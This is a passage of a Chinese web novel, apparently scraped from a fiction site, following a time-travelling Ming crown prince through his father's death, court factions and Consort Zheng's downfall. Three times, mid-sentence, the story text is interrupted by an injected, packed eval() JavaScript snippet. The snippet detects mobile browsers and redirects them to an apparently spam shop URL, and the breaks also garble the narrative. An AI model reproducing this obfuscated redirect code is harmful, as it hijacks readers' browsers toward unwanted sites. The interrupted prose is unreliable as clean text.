他的担心多余了,朱笑笑是个人格健全的人,从不缺爱,更不会阴暗爬行。 所以朱笑笑没必要为那点可怜的宠爱感恩戴德,甚至因此不敢直视父亲深邃的眼。 “爹,郑贵妃恨不得你死,我以为你知道的。” “她要是不出手,我就为难了。” “没有你,对我很重要。” 【距离泰昌帝驾崩:2秒】 系统角落里的倒计时在鲜红背景色中悄然归零,朱笑笑终于吐出一口浊气,属于他的游戏,现在才算真正开始。 勋贵朝臣们跪久了有些累,正打算缓口气,远处忽然传来一声尖利哭喊。 “皇爷!您别抛下妾身啊!” 李选侍披头散发闯将过来,一身素服穿得歪斜,直扑殿门。 英国公吓得站起来,不知道该回避还是怎么,方从哲几个却是见识过李选侍闹腾劲的,不由对视一眼,匆忙跟进去。 张维贤见状,也紧随其后,余下品级高些的都跟着往前凑。 李选侍冲进殿内,看也不看趴在遗体上的太子,扑通跪倒以头抢地,哭声几乎震得梁尘簌簌落下:“皇爷!您答应过妾身,要封妾身为后的啊!您这一走,叫妾身孤儿寡母如何是好?” 还好,是口头承诺,不像万历那样留下明旨。 方从哲应对经验丰富,厉声喝道:“李选侍!陛下灵前,岂容你胡言乱语!” “胡言乱语?”李选侍猛地抬头,婆娑泪眼中闪过一丝狠色,“方阁老!我乃太子养母,与先帝情分非常!如今先帝驾崩,太子年幼,这后宫总得有人主持大局!” 泰昌帝走得突然,她只能牢牢抓住太子,做不了皇后,总要做太后! 李选侍伸手去拉朱笑笑:“校哥儿!你说句话啊!你是姨娘养大的,如今该为姨娘做主了!” 诸臣只见太子面容悲痛,失魂落魄,由着李选侍拉扯,显是沉浸在丧父的伤心之中。 “放肆!” 张维贤心中不忍,往前一踏声如洪钟:“李选侍!殿下乃皇储,岂是你能拉扯的?还不退下!” 李选侍昂起头,几乎把太子揽进怀里,“校哥儿年幼,我这做娘的自然要多看顾!英国公,如今先帝尸骨未寒,你便要隔绝我们母子么?” “你!” 张维贤眉头紧锁,他到底不知太子与李选侍情分如何,此刻被拿母子伦常压着,一时竟不好强硬驳斥。 殿内霎时剑拔弩张。 文臣队列中却有人忍不住了。 “李选侍此言差矣。” 出声的是吏科给事中杨涟,他出列躬身,先向泰昌帝遗容一揖,才转向李选侍:“国丧期间,当以礼法为重。殿下已正位东宫,自有祖宗法度朝臣辅弼!选侍虽于殿下有抚育之劳,然名分所在,不可逾越。” 泰昌帝继位时间太短,对朝堂都只做了一次人事任命,关于后妃册封子女归属,没有明旨便做不得数。 有也无妨,自有大儒为我辩经。 李选侍脸色一白,正要反驳,另一侧又有人开口。 “此言甚是!” 礼部尚书孙如游接话:“《大明会典》有载,先帝驾崩,无子妃嫔当移居仁寿宫等处奉养。此乃祖宗成法,非人力可改。” 李选侍急了:“我乃皇太子养母,岂能与寻常妃嫔等同!” “养母亦是选侍。”杨涟寸步不让,“名不正则言不顺!如今当务之急,是议定大行皇帝谥号、庙号,并请太子殿下早正大位,以安天下人心。” 东林一系官员纷纷附议杨涟,喊着礼法名分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275291|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么的就冲上来了,浙党与楚党诸人则见缝插针几句。 张维贤看着这场面,心中了然,太子遇刺他们没出什么力,要再安静下去恐怕吃屎都赶不上热乎的了。 便在此时,朱笑笑慢腾腾站起来,脸上泪痕未干,少年太子茫然四顾,目光最终落在王安身上,声音飘忽如游丝。 “王伴伴,父皇他,他怎么突然就这样了?” 王安跪倒在地,老泪纵横:“殿下节哀!皇爷三日前服了崔文升进的通利药,不到半日便连泻几次。昨日鸿胪寺丞李可灼曾献红丸数枚,皇爷服后感觉尚好,早间又进了一粒,谁知午时刚过就呕血了……” “崔文升……李可灼……”朱笑笑默念着,忽地抬眼,“他们是谁的人?谁要害我父皇!” 满殿死寂。 刑科给事中惠世扬忽然越众出列,躬身道:“殿下!崔文升乃郑贵妃心腹,此事人尽皆知!此乃郑氏欲害陛下久矣!” “惠世扬!休得妄言!”方从哲连忙打断,“无凭无据,岂可诬指神庙贵妃?” 御史左光斗挺身而出,“崔文升掌御药房,李可灼献药弑君,哪样不是铁证!” 东林党与郑贵妃一系积怨已久,好不容易拿到错处恨不得一口咬死,哪里容人辩驳?方从哲等却担忧牵连过广,引发朝局动荡,一时殿内吵作一团。 “够了!” 众人目光落在年轻太子身上,只见他满面赤红,眼神仇恨,怒不可遏地甩袖。 “杀父之仇,不共戴天!毒妇害我父皇,我定要她偿命!” “锦衣卫!”朱笑笑陡然暴喝。 “臣在!”骆思恭按刀出列。 “即刻诛杀妖妃!” 众臣卡壳一瞬,旋即哗然。 虽然大明武德充沛,朝臣间难免大打出手,但比武切磋都是点到为止,很少有喊打喊杀的。 就算东林党,他们也只是想压下郑贵妃的势头,而不是砍了郑贵妃的头。 “殿下不可!”方从哲呼吸急促,眼带忧色,“郑贵妃乃先帝遗妃,无旨诛杀不合礼法!” “是啊!便是要杀,也当由三司会审……”韩爌稍微婉转了一点,可能想着太子只是一时仇恨上头,打算先安抚下来徐徐图之。 “不是你们说郑贵妃谋害父皇吗?孤为父报仇有何不可!各位大人,难道你们就忍心让凶手逍遥法外,任君父死不瞑目吗!” 惠世扬与左光斗等脸上都青一阵红一阵,他们是真的很想附和两句,但谁也都担不起挑唆太子擅杀先帝遗妃的锅。 朱笑笑目光如炬扫视左右:“满朝文武为何支支吾吾?” 他突然朗声大笑:“既如此,孤的家务事便不劳烦各位大人,是非对错,孤一力承担!” 说罢,转身抽出身旁骆思恭腰间悬挂的绣春刀,寒芒冷凝,刀刃外翻横在身前。 这下想劝的大臣也不敢轻易靠近了,朱笑笑举着绣春刀,眼中燃烧着复仇的火焰。 “骆思恭!” “臣在!” “随孤出战,战至最后一刻,自刎归天!” “是!” 骆思恭嘴比脑子快地答应,精神振奋地护在太子身侧,直到踏出乾清宫才反应过来。 骆思恭:我吗?我也要自刎吗? 10. 明月追着照 太子率锦衣卫气势汹汹冲出乾清宫,脚步如雷,转眼便消失在沉沉夜色中。 殿内陷入如死了一般的安静。 移宫案原本的主角李选侍小脸煞白,惊魂未定地以帕掩口,她从未发现原来存在感太低也是一件好事。 太子方才疯魔的样子着实把她吓住了,那还是她认识的那个温吞顺从的好大儿么? 他现在忙着料理郑贵妃,万一杀起性来,回头看到她赖着不走,会不会也抬手就是一刀? 李选侍被残酷现实逼得成长了些许,若非王才人倒霉一病去了,她上哪捡个这么大的便宜儿子!太后是别想了,这些大臣不会肯的。 至于太子会不会为她据理力争?她得承认,两人的感情没深厚到那份上。 还是先别去触他的霉头,日后再想法子慢慢笼络,或许还有一丝转机。 想通之后,趁众位大人忙着商讨对策,李选侍一反来时的喧闹,静悄悄退至无人关注的角落溜了出去。 话分两头,朝臣那边可就惨喽。 太子替父报仇斩杀庶奶奶,这在大明也是一段佳话。 按律治罪可以说是大义灭亲,你要是亲自动手,那就是伦理的问题了。 古人还讲究个亲亲相隐,何况皇室最擅长的就是大事化小。收拾郑贵妃的方法很多,咱可以让她日夜思念神宗,越想越伤心最后殉情去了是吧?何必舞刀弄枪的! 这帮言官个个是战力十足的喷子,整天把法理挂嘴边,眼看太子将要沾染污点,怎么就没个人制止呢? 倘若郑贵妃谋害皇帝确有其事,那么太子身为人子替父报仇也无甚可指摘的,而弑君大罪更是罪该万死。古往今来这般孝义之举通常会获得世人同情与赞叹,往往能使行凶者免于刑罚。 天下读书人视孝道为立身之本,如果你爹死了,你不立马辞职卷铺盖回家守孝,他们就会把你喷得体无完肤。 太子要是犹犹豫豫瞻前顾后不敢得罪郑贵妃那还有得喷,可人家表现得很激愤!一听父亲被害二话不说抄家伙就上。 至于忤逆长辈的忌讳,太子都愿意自刎归天认罚了,还能苛求什么? 骤然失去道德高地,这群卫道士拔剑四顾心茫然,名和命,总得留一个吧!太子二者皆抛豁出命去的样子,显得他们对皇帝之死的悲痛过于官方了。 内宫禁地这些外臣又不能擅闯,靠那些太监宫女能拦住太子?还不如早点开始构思借口呢。 方从哲脸色灰败,却还试图鼓动似乎已认命的同事们:“绝不能让殿下真杀了郑贵妃!否则福王那边……” “福王在洛阳,还能反了不成?”惠世扬冷笑打断。 “你懂什么!”朱纯臣重重哼了一声,“郑氏经营数十年,旧党无数!福王若借机生事,联合各地藩王起兵……” “那就一并剿了!”杨涟昂然道,“弑君之罪,株连九族亦不为过!乱臣贼子人人得而诛之!” “嘿嘿!杨大人这话说得轻巧,不知当初建文帝身边是否也有杨大人这般铁骨铮铮之辈。” 没说几句话又顶了起来,有主张立刻追去劝阻太子的,有建议调兵防范福王的,更有暗中盘算借此铲除政敌的。 张维贤听得脸色越来越难看,他们正是靖难起家,若太子一时气愤诛杀神庙贵妃,福王必不肯善罢甘休,连起兵的借口都是现成的。 万历实在给了福王太多底气,除了没有军事才能,福王封地豪富,要钱有钱要人有人,兼之是先帝爱子,货真价实议过储那种,你敢说他不想当皇帝? 太子啊太子,你可千万别意气用事! 慈宁宫内,烛火燃得正旺。 郑贵妃端坐罗汉床上,手中捻着一串沉香木佛珠,数得极慢。 她遣散了所有伺候的宫女太监,寝殿内空无一人,窗外夜色中仿佛飘过几声若有似无的幽咽,佛珠捻过三十六颗又从头数起。 今夜过去,乾坤已定了。 但她为何仍心神不宁? 佛珠捻到第五遍,忽地起了一阵风,从窗隙里强钻进来,将面前烛台上的火苗吹得齐齐一歪。 郑贵妃抬眼望向殿门,只见窗纸上映着的树影剧烈摇晃。 突然,殿门被人从外猛地推开。 夜风灌入,裹挟着深秋寒气的门扇撞在两侧墙上发出沉闷巨响。 郑贵妃手一抖,佛珠线断。 沉香木珠滚落满地,在烛光下四散奔逃,有几颗滚到踏入殿门的靴边,被那靴底轻轻碾住。 朱笑笑提刀跨过门槛,刀尖拖在金砖上发出尖锐刺耳的摩擦声,目光直直落在罗汉床上的女人身上。 郑贵妃与之对视,心底骤然一寒。 他没死?他居然没死! 终究是侍奉了皇帝近四十年的人,郑贵妃镇定下来,理了理鬓发,换上三分威仪七分淡漠的神情,冷冷笑道:“皇太子提刀闯入本宫寝殿意欲何为?这便是朱家的孝道?这便是储君的风范?” 朱笑笑并不答话,一步一步走近,金砖上拖出断续的白痕,寒意凛然。 郑贵妃的笑容僵在嘴角。 她忍不住向后靠了靠,声音终于有了裂痕:“你想做什么?本宫是先帝遗妃!你无旨无诏擅闯宫禁,持械逼凌长辈!你就不怕朝臣弹劾,史笔如铁?” 朱笑笑在她面前三步处站定,忽然弯腰捡起一颗佛珠在指尖捻了捻,声音沙哑:“郑娘娘也念佛?” 郑贵妃狠色一滞。 “佛说因果循环,报应不爽,娘娘信阴司报应吗?” “本宫……不知太子何意。” 见她仍负隅顽抗,朱笑笑目光平静,起身将佛珠捏在掌中,扬声唤道:“骆指挥使,还不给郑娘娘解惑。” 骆思恭如鬼魅般突然出现在殿门前,疾步踏入,自袖中取出一卷素帛展开,声音波澜不惊。 “八月初六,崔文升自御药房支取巴豆三钱、大黄五钱、番泻叶二钱,御药房存档为证。” “八月初七,鸿胪寺丞李可灼自郑国泰府邸获丹方数张,经验看,多含水银、朱砂、铅粉等物。” “郑国泰前往通州密会建奴细作范文程,阴谋刺杀……” “住口!”郑贵妃脸色已惨白如纸,“不可能,兄长他怎会找……” 找谁不好,竟找到外族人头上! 郑贵妃真想撬开郑国泰脑袋看看里头究竟装着什么! 建奴要的代价她给不起,福王更给不起,与虎谋皮能有什么好下场?若是成了亡国之君,这皇帝不当也罢! 更何况…… 她不甘地盯着骆思恭,凭什么!太子一个只知玩乐的小毛孩,凭什么得到锦衣卫指挥使的效忠? 人是万历提拔的,虽说一朝天子一朝臣,但郑贵妃相信万历看人的眼光,骆思恭不会,至少不应该那么快倒向新帝。 朱常洛那个荒淫的废物根本驾驭不了骆思恭,真正握住锦衣卫这把刀的人,是她从未放在眼里的太子。 “太子要杀本宫,便杀罢。”郑贵妃的心气似乎一下散了,神色衰败下去,抿了抿干涩的唇,“本宫认了,只求太子念在先帝份上饶过福王,他是你亲叔叔,从未参与这些事,都是我一人的谋划。” 这个盛宠多年未尝败绩的女人,此刻为了保全孩子,竟也甘愿低下高贵的头颅跪在仇敌面前。 寒意从膝盖直透心底。 “郑娘娘以为一死就能保全家人?” 朱笑笑没来由轻笑一声:“其实刺杀这件事孤可以不追究,锦衣卫掌握的证据也可以不公开。但是,郑国泰通敌,只肖放出风声,郑家必被一拥而上,鸡犬不宁。” 郑贵妃猛地抬头,嘴唇剧烈哆嗦起来。她到底是古人,为家族牺牲的观念已然刻在骨子里,可太子,竟连她以死谢罪都不肯让此事翻篇吗? “只要郑娘娘答允一件事,孤愿意放过郑家,只处置罪魁祸首。” 郑贵妃茫然抬头,见太子语气笃定,神情不似作伪,眼中骤然燃起光亮,仿佛溺水之人抓住浮木。 “太子但说无妨!” 朱笑笑漫不经心地用刀尖划拉砖面:“娘娘也知道,新君登基百废待兴,这内库穷得叮当响,孤心里不得劲。” 郑贵妃怔怔听着,目光从茫然到犹疑,再到不可置信。 太子这是,惦记她的私房? 郑贵妃跪在那里张口结舌,她这辈子见过珍宝无数,因为万历就是个贪财的人,她私库的财产说是富可敌国也不为过,万历大半辈子捞的钱都在这了。 还从来没有人把要钱这件事说得如此理直气壮,理所当然。 真不愧是他爷爷的种,不!比他爷爷还不要脸,连长辈的养老钱都贪! 同时心里感到毛骨悚然,这小子为了钱连杀父之仇都不顾,世上估计没有他在乎的东西了。 郑贵妃舍不得,却心知不喂饱这小崽子娘家就要大祸临头,只得忍痛答应。 “自神宗驾崩,本宫也无心装饰,看着旧物更是触景生情。待太子登基,便替本宫处理了吧,省得碍着本宫为先帝清修茹素。” 说到这里,郑贵妃是真有些伤心了,破什么财免什么灾,还不如直接杀了她呢。 朱笑笑非常满意,连借口都是现成的,难怪人家能当宠妃。 别看万历沉迷搞钱,他也是真能花,留下那点家底就够泰昌帝发一波福利。 粮食武器这些要命的东西都追在朱笑笑屁股后面咬,没钱咋弄?系统又不生产钱,它只是大自然的搬运工,靠它变现肯定来不及了。 吃大户才是最优解。 河南,开封府。 中秋乃是正日子,因着万历皇帝新丧,开封府也不如往年热闹,只三五好友私下串门拜访罢了。 各级官员也是不大见客的,此地镇守太监官邸坐落在城西南隅,三进院落,灰墙青瓦。十六这日,便有形形色色的人物送礼求见,皆被管事的无情拦下。 而二进院落的书房里,张居正早已被仆人邀请落座,奉上热茶。 她着一身青色斓衫,头带儒巾,竟作书生打扮,独自出门会友。 张国纪能说什么?女孩家不便见外客,扮成男子……那就随便吧,我还拦得住吗! “坤英小友,久候了。”书房门被推开,进来的老者约莫六十上下,外罩深青圆领袍,腰系乌角带,面容清癯,倒像个告老还乡的翰林。 张居正起身,拱手一揖:“晚生冒昧叨扰,只因今秋鲈鱼已肥,特来赠与公公,来年或许便要渡河北上,思来想去,还是该来向公公辞行。” 这老者姓陈,单名一个栩字,乃是河南镇守太监,已在此地七年。 两年前,张居正就开始着意结交他。 想走内监门路的人多了,送金银的,送字画的,送美姬的,送田产的,应有尽有。太监嘛,反正是绝后的人了,不就好这些个金银珠宝的实惠东西? 可见巴结的人虽多,心中对他仍是看不起。 要论张居正最熟悉的内监,当属冯保。 两人内外配合这么多年,除了张居正有能力压制冯保,私底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275292|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情的维护也很重要,对这个群体也总结出了一些相处方式。 那就是没有方式,投其所好罢了。 对每个人都适用,关键在于你能不能精准把握他好什么。 陈栩表面来者不拒,什么礼都收,内里却是文人脾性,颇有才学,只是鲜有人会与他谈论诗书。 大明宦官不乏饱学之士,与真正的读书人之间却终究有壁。 张居正不知怎的观察到了这点,备礼时就只准备了鲜摘的莼菜与鲈鱼,可以说十分简陋,在一众稀世珍奇前称得上寒酸。 但每逢佳节倍思亲啊,陈栩遥望明月思乡的时候,低头看到桌面的鲈鱼莼菜羹,怎能不触动心弦? 这属于文化人的哑谜真真是戳中了心坎,莼鲈之思……太监也是人,并非时刻钻营个不停,怎就配不得莼鲈之思了! 世上竟有人知我,难得难得。 陈栩接见了化名张坤英的张居正,一番畅谈后,以张首辅的哄人功底,自然没有拿不下的。 此后两年,她以游学书生身份,偶逢大节小庆便来此拜会,与陈栩谈诗论文说古论今,一来二去,竟成了忘年之交。 陈栩与她对面坐下,亲自提壶续茶。 “此番北上,坤英小友可是要赴京赶考?以你之才学,必能金榜题名。” 张居正接过茶盏:“晚生确有北上之意,倒并非为了赶考。” 陈栩目光在她面上停了片刻,端起茶盏徐徐吹着,定眼瞧盏中浮沉的茶叶:“咱家痴长许多年岁,有些话也不知当讲不当讲。” 张居正心中微动,语气却平静如水:“公公请直言。” “咱家七岁入宫,伺候过三位皇帝,见过的聪明人没有一千也有八百。”陈栩顿了顿,缓缓道,“女子扮男装,瞒得过寻常人,却瞒不过咱家这双眼睛。” 张居正端着茶盏的手纹丝未动,她早就等着这一天,陈栩若连这点眼力都没有也活不到现在。 “公公慧眼。”她起身整了整衣襟,重新一揖到底,“晚生确为女子,欺瞒公公两年,是晚生之过。” 陈栩摆了摆手,豁达道:“坐,坐罢。咱家若想揭穿早揭了,还等今日?” 张居正微微一笑,泰然自若:“那公公不妨猜一猜,晚生接近公公目的何在。” 如此直白坦荡说起所求,反倒让人生不出厌恶,恰好陈栩是个喜欢猜谜的人,乐意分析一二。 “公子这名字起得也好。”陈栩浅抿了一口茶水,放下杯盏抬眼,“坤者,地也,顺承天意而行。英者,华也,草木之精粹。坤英,好一位女中英才,豪杰自许。” 张居正抬眸看他,目光清亮,眼带赞赏。 陈栩无端感到一股被认可的骄傲,蠢货夸你自然不值得高兴,天才夸你就不同了。 “要想一展其才,科举晋身自是正道。可惜公子有些难处,莫若另寻一条青云之路。” 陈栩盯着张居正的眼睛:“你想进宫。” 张居正毫不掩饰自己的志向,“我想进宫。有些事,只有登上至高之位才敢妄言一二,不知公公可愿与我结盟?” 如果你的朋友连造反的秘密都肯跟你分享,那么恭喜你,你拥有了个同年同月同日死的朋友。 当然,张居正肯定不是想造反的意思。 陈栩见多了这种事,在他看来有野心的女子在宫里能走得更远,有野心又聪明的女子,前途更是不可限量。 他沉吟片刻,道:“既如此,咱家便考考你,你可知,如今宫里谁最要紧?” “先帝刚去,新君初立。”张居正答得极快,“最要紧的,自然是太子。” 陈栩满意颔首,皇帝正值壮年,且早有妃妾子女,实在没什么奔头。太子却还年轻,选妃在即,不管当个太子妃或太子嫔,早日生下长子便可立于不败之地。 “那你可知道太子是个怎样的人?” 张居正专注聆听,静候下文,这正是她的目的。 陈栩愿意透露消息,也算是看中了她的资质。离开中枢多年,若有机会返回司礼监,他这把老骨头没准还能发挥一把余热。 “咱家在宫中时,太子不过六七岁,那时便听人说这位皇长孙不爱读书,只爱摆弄木工。神宗有一回考他功课,他对答不上,只顾摆弄木块搭宫殿模型,神宗竟也不恼。” 那是肯定的,不受宠的儿子生的孙子,万历自然不在乎他爱不爱读书。 太子年少,玩心重,张居正了解这个时期的小孩,当老师和当老婆不一样,管是不能管的,容易激起逆反。至于投其所好,也得看技巧,不能太过刻意迎合。 “多谢公公提点。”她心中有底,起身又是一揖。 陈栩淡淡道:“咱家不过是随口闲话。公子若真进宫,日后有用的得上的地方只管来信。咱家虽在汴梁,内廷那边还有些故旧。” 这话已是极重的承诺。 张居正深深看他一眼:“士为知己者死。晚生与公公之间,便不再多言感谢了。” 陈栩失笑,这位张小姐与他倒像那三国里的主公与谋士,而非为主子卖命的仆人。 正感慨间,院外忽传来急促脚步声。 “公公!公公!” 一名内侍慌慌张张跑进来,扑通跪倒在地,脸色惨白如纸。 “何事惊慌?”陈栩皱眉。 那内侍嘴唇哆嗦,半晌才挤出一句话:“京城急报……陛下……陛下驾崩了!” 陈栩浑身一震,猛地看向张居正。 此女果真好运道。 11. 夺情风波 后金,赫图阿拉。 后金汗王宫设在赫图阿拉城北,原是明朝辽东都司的一处旧衙。说是宫殿,实则不过五间青砖大瓦房,比之地主的宅院也强不了多少。 大政殿正中主位铺着张熊皮,努尔哈赤踞坐其上,眼前桌案摆了副辽东地图,他右手撑着膝盖,左手握着银酒壶不时仰头灌一口。 诸子贝勒分列两侧,烟气熏得人眼睛发涩。代善坐在右边首位,莽古尔泰、阿敏等人依次排开,有人揉腰,有人剔牙,浑没个规矩。 “范文程还没到?”努尔哈赤问。 代善躬身答话:“回父汗,范文程天没亮就出城了,说是南边来了信鸽,他亲自去接。” “一个汉人,倒比咱们还上心。”莽古尔泰嘟囔了一句,对这数典忘祖的狗奴才颇为看不上。 皇太极抬眼看他:“三哥这话差了。范先生既投了父汗,便是自家人,他上心难道不是为咱们好?” 莽古尔泰桀骜地哼了一声,没接话。 除了素好汉学的皇太极,其他人大多瞧不上范文程,不过努尔哈赤也赞同利用汉人内斗的策略,让他们自己人对付自己人,八旗才能保留更多有生力量。 正说着,殿门被人推开,范文程快步走进殿中跪倒在地:“奴才范文程叩见汗王。” 努尔哈赤随意摆手,急切追问:“情况如何了?” 范文程起身,耷拉着脑袋道:“明国那边的探子来信,说是失手了,派去的人一个都没回来。” “什么!”莽古尔泰霍地站起,“你不是说有万全把握吗?” 范文程的头垂得更低了:“奴才确曾说过,可探子回报,那明国太子车驾中藏有连发火器,五刀手冲入车内皆被雷火击杀!余下的勇士也被锦衣卫包了饺子。” “连发火器?”皇太极皱眉,“明军的鸟铳装填一次需半盏茶工夫,何来连发一说?” 范文程摇头:“奴才也不知。不过探子还说,明国皇帝驾崩了,太子只怕不日便要登基。” 殿内一时静默。 差一点,就差一点!皇帝太子接连死去,这储位再争个十年八年的,他们何愁不能虎踞辽东? 莽古尔泰瞪着范文程,忽然冷笑:“范先生,你这万全把握,可真是万全啊。” 范文程唯唯诺诺不敢言语,这些贝勒都是汗王的孩子,他一个降臣可惹不起,受些奚落也是常有的。 代善低喝,“老三!父汗面前不得无礼。” 努尔哈赤没说话,只一口一口灌着酒。 半晌,他放下酒壶,斜睨范文程:“郑家那条线还能用吗?” 范文程恭敬答道:“此番行刺失败郑国泰必被明廷盯上,这条线怕是不能用了。” 努尔哈赤不屑地笑了笑,带着几分阴沉:“郑家本就是无根之木,靠着个女人罢了!”他站起身,熊皮上的毛被踩得倒伏一片,“传令各旗,兵马照常操练,粮草加紧征集。” “明国死了太子也好,没死也好,一个乳臭未干的小屁孩,必定摆弄不过朝上那帮人精!这辽东早晚是咱们的。” 他拔出腰间金刀,重重戳在面前桌案的地图上,刀尖没入之处赫然写着沈阳城。 “老八。” “儿臣在。”皇太极起身出列。 “你派人往沈阳那边探探,看明军有什么动静。快则明年开春,必要拿下沈阳城!” “喳!” 努尔哈赤回头看向范文程:“你也别闲着!郑家这根线断了,再寻别的就是。明廷那些文官,但凡有贪的怕的,想攀高枝的,都给我找出来用上。” 范文程精神一振,连忙跪下:“奴才遵命。” 莽古尔泰还想说什么,被代善用眼神制止,不服气地扭过头去。 紫禁城,乾清宫。 白烛滴泪,香烟缭绕。朱笑笑披麻戴孝跪在灵前,眼眶红肿面色惨白,谁劝都不肯起。 方从哲等阁老跪在两侧,勋贵们跪在后头,满殿黑压压一片,连咳嗽声都压得极低。 王安从殿外进来,跪到朱笑笑身侧,低声道:“殿下,锦衣卫那边传来消息,崔文升李可灼皆已招供伏诛!神庙贵妃自认失察之罪,愿闭宫清修以赎己过。骆指挥使说慈宁宫那边已安排妥当,不会让人扰了神庙贵妃的清静。” 朱笑笑恍惚着点了点头,并不言语,好像根本没听清他的话,倒是方从哲在一旁听得分明,心中稍安。 昨夜太子提刀闯宫,把他们这些老臣吓得魂飞魄散,生怕他真把郑贵妃杀了。 后来消息传出来,说是魏忠贤拼死拦着挡在郑贵妃面前,还挨了太子一刀,万幸没让太子铸成弑亲大错。 正想着,忽听身后有人低声交谈。 “国不可一日无君,还得请殿下早正大位,以安天下才是。” 方从哲眉头一皱,正要开口,却见杨涟已膝行上前,叩首道:“殿下仁孝,天下皆知。然大行皇帝既已宾天,社稷为重,还请殿下节哀顺变,即皇帝位!” 殿内顿时骚动。 左光斗紧随其后:“臣附议!殿下乃先帝长子,正位东宫名正言顺,请殿下早登大宝!” 惠世扬也跪了出来:“臣请殿下即皇帝位!” 东林一系纷纷跪倒,请愿声此起彼伏。 英国公张维贤也上前躬身道:“先帝既去,殿下便是天下之主。老臣斗胆,请殿下早正位号,以定人心。” 朱纯臣乐得做个顺水人情,跟着跪倒:“臣附议。”勋贵们纷纷跟着劝进。 方从哲看向韩爌刘一燝,三人交换眼色,终是齐齐跪倒。 “臣等请殿下即位!” 太子登基应当是不会有变的,只是按照惯例少不得三辞三让推拉一番,众人心里已经做好了太子推辞的准备。 果然,朱笑笑眼中蓄满泪水,声音沙哑:“父皇尸骨未寒,孤如何忍心……如何忍心……” 哽咽得说不下去,伏地痛哭,哭声凄切,满殿动容。 少年失怙本就是人生一大悲事。 方从哲老泪纵横,张维贤叹息着别过脸去,连杨涟也红了眼眶。 待哭声稍歇,朱笑笑才抬起头,语气缥缈:“孤想为先帝守孝三年,三年之后,再行登基。” 什么? 方从哲猛地抬头,以为自己耳朵出了问题。 “孤要守孝三年。”朱笑笑仿佛坚定了信念,“三年之内,政务尽皆交付内阁。” “这如何使得!” 方从哲扑通跪下,声音都变了调:“殿下!自古天子以日代月,守孝二十七日便足矣!三年太久了!” 一言激起千层浪。 古往今来,还从没有哪个储君为了守孝拒绝登基的。 那可是皇帝啊! 别的职位还能说声你不想干有得是人干,皇帝……哦,严格意义上来说是可以的,但东林党不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275293|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让这种事发生。 他们好不容易争赢了国本,让?给谁让?泰昌帝倒是还有个儿子,但作为长兄的太子德行高到宁愿守孝都不登基,你个弟弟就能不用守了? 再说长子继位本就是他们一直以来坚守的,总不能自打脸。 那问题就严重了,把皇位拱手让给福王?绝对不可能! 守什么孝,太子必须给我登基! 杨涟急切道:“殿下孝心臣等感佩,然则国无君,何以令天下?” “世宗神宗亦曾多年不视朝,孤只不过需要三年尽孝罢了。”朱笑笑看似主意已定,“朝政有方阁老,有英国公,有诸位股肱之臣,孤信得过。” “臣等虽可勉力维持,可名不正则言不顺!”惠世扬也急了,“诏书用太子印终究……” 朱笑笑看向他:“终究不及皇帝?既如此,惠大人不如另立新君,方不辜负江山社稷。” 这话已是诛心之论。惠世扬脸色煞白,伏地叩首:“臣不敢!” 左光斗忙出列道:“此事尚可转圜!自来丁忧便有夺情之例,太子殿下大可以朝政为重,无需忧心孝名有损。” 他才说完,杨涟便眼皮一跳,暗叫不好,正要开口补救,就见太子愤而立起,红着眼怒视对方。 “怎么在左大人心里,孤为父守孝竟是沽名钓誉之举吗!天下士人哪个没有父母亲长?他们丢下公务丁忧难道个个是沽名钓誉不成!” “人人皆可丁忧守孝,凭什么孤守不得!” 铿锵之声几震寰宇,满殿朝臣哗啦跪了一地。 从来只有自上要求平权的,自下平权还是头一遭,给大家都整不会了。 左光斗连连告罪,懊恼不已,杨涟跪在身旁,心中翻江倒海似的苦涩。 读书人向来喜欢以德行标榜自身,还没有劝人不要守孝的经验,真正需要夺情的重臣都不用劝,皇帝自会出手。 太子自愿守孝三年若传出去,天下读书人必赞太子纯孝,那他们这些阻拦太子尽孝的人成什么了? 太子有德是好事,只是一时沉浸在丧父的悲伤里,左光斗又说错了话,这才惹得他发怒。 不单杨涟,大半朝臣都这么认为。 方从哲与张维贤竭力劝了几句,却见太子决绝转身跪在灵前,袍袖一挥。 “此事不必再议,退下吧!” 众臣颇有些灰头土脸地退出乾清宫,其实并非所有人都反对太子守孝,道德标准高的自然视太子为表率楷模。 连东林党都不是那么团结一心了。 左光斗尤其萎靡,既担心那番话传出去与天下读书人为敌,也怕太子拒不登基导致帝位旁落。 毕竟他们和太子没有真正的矛盾,与福王就是你死我活的局面了。 正愁眉不展,才出了宫门,杨涟却将他径直拉上自家马车。 “不必过于忧心,你我到底经验不足,咱们这就去拜访南皋先生,请他出面劝说太子。” 左光斗顿时缓了愁色。 